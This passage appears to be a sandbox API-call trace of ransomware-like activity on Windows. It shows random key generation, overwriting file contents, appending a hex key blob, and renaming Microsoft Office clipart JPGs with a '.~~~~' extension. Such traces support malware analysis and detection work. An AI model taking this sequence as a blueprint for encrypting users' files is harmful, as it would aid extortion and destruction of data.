	[0108.021] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe185, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.021] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1e7b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x1e7b, lpOverlapped=0x0) returned 1
	[0108.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.022] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.023] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.040] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.040] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.040] CloseHandle (hObject=0x128) returned 1
	[0108.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0108.041] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.~~~~")) returned 1
	[0108.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0108.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.042] GetLastError () returned 0x0
	[0108.154] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0108.156] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.156] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.156] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22814630806) returned 1
	[0108.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa219e50, dwHighDateTime=0x1d60e1e)) 
	[0108.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807b18
	[0108.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807b18 | out: hHeap=0x300000) returned 1
	[0108.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28281c0
	[0108.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.157] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.157] GetLastError () returned 0x0
	[0108.157] GetLastError () returned 0x0
	[0108.158] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.158] GetLastError () returned 0x0
	[0108.158] GetLastError () returned 0x0
	[0108.163] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc9eb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.163] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x3615, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x3615, lpOverlapped=0x0) returned 1
	[0108.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.165] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.165] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.165] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.165] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.166] CloseHandle (hObject=0x128) returned 1
	[0108.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.166] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.~~~~")) returned 1
	[0108.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.167] GetLastError () returned 0x0
	[0108.167] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0108.169] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.169] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.169] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22815948940) returned 1
	[0108.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa23ffb0, dwHighDateTime=0x1d60e1e)) 
	[0108.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807b50
	[0108.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807b50 | out: hHeap=0x300000) returned 1
	[0108.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827c68
	[0108.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.170] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.170] GetLastError () returned 0x0
	[0108.171] GetLastError () returned 0x0
	[0108.171] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.171] GetLastError () returned 0x0
	[0108.171] GetLastError () returned 0x0
	[0108.175] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.175] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.177] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.177] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.177] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.177] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.178] CloseHandle (hObject=0x128) returned 1
	[0108.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.178] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.~~~~")) returned 1
	[0108.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.179] GetLastError () returned 0x0
	[0108.181] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0108.182] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.182] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.183] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22817269081) returned 1
	[0108.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa266110, dwHighDateTime=0x1d60e1e)) 
	[0108.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807b88
	[0108.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807b88 | out: hHeap=0x300000) returned 1
	[0108.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28282f0
	[0108.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.183] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.184] GetLastError () returned 0x0
	[0108.184] GetLastError () returned 0x0
	[0108.184] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.184] GetLastError () returned 0x0
	[0108.184] GetLastError () returned 0x0
	[0108.188] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7b2d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.188] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x184d3, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x184d3, lpOverlapped=0x0) returned 1
	[0108.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.190] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.190] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.190] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.190] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.190] CloseHandle (hObject=0x128) returned 1
	[0108.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.191] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.~~~~")) returned 1
	[0108.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.192] GetLastError () returned 0x0
	[0108.192] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0108.193] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.193] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.194] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22818587782) returned 1
	[0108.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa2b23d0, dwHighDateTime=0x1d60e1e)) 
	[0108.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807b50
	[0108.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807b50 | out: hHeap=0x300000) returned 1
	[0108.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a3b98
	[0108.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866df8
	[0108.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3b98 | out: hHeap=0x300000) returned 1
	[0108.235] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.236] GetLastError () returned 0x0
	[0108.236] GetLastError () returned 0x0
	[0108.236] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.236] GetLastError () returned 0x0
	[0108.236] GetLastError () returned 0x0
	[0108.244] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.244] WriteFile (in: hFile=0x128, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.246] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.246] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.247] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.247] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.247] CloseHandle (hObject=0x128) returned 1
	[0108.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.267] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.~~~~")) returned 1
	[0108.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.277] GetLastError () returned 0x0
	[0108.278] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0108.279] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.279] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.279] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22826940375) returned 1
	[0108.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa3247f0, dwHighDateTime=0x1d60e1e)) 
	[0108.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807cd8
	[0108.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807cd8 | out: hHeap=0x300000) returned 1
	[0108.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828420
	[0108.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.280] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
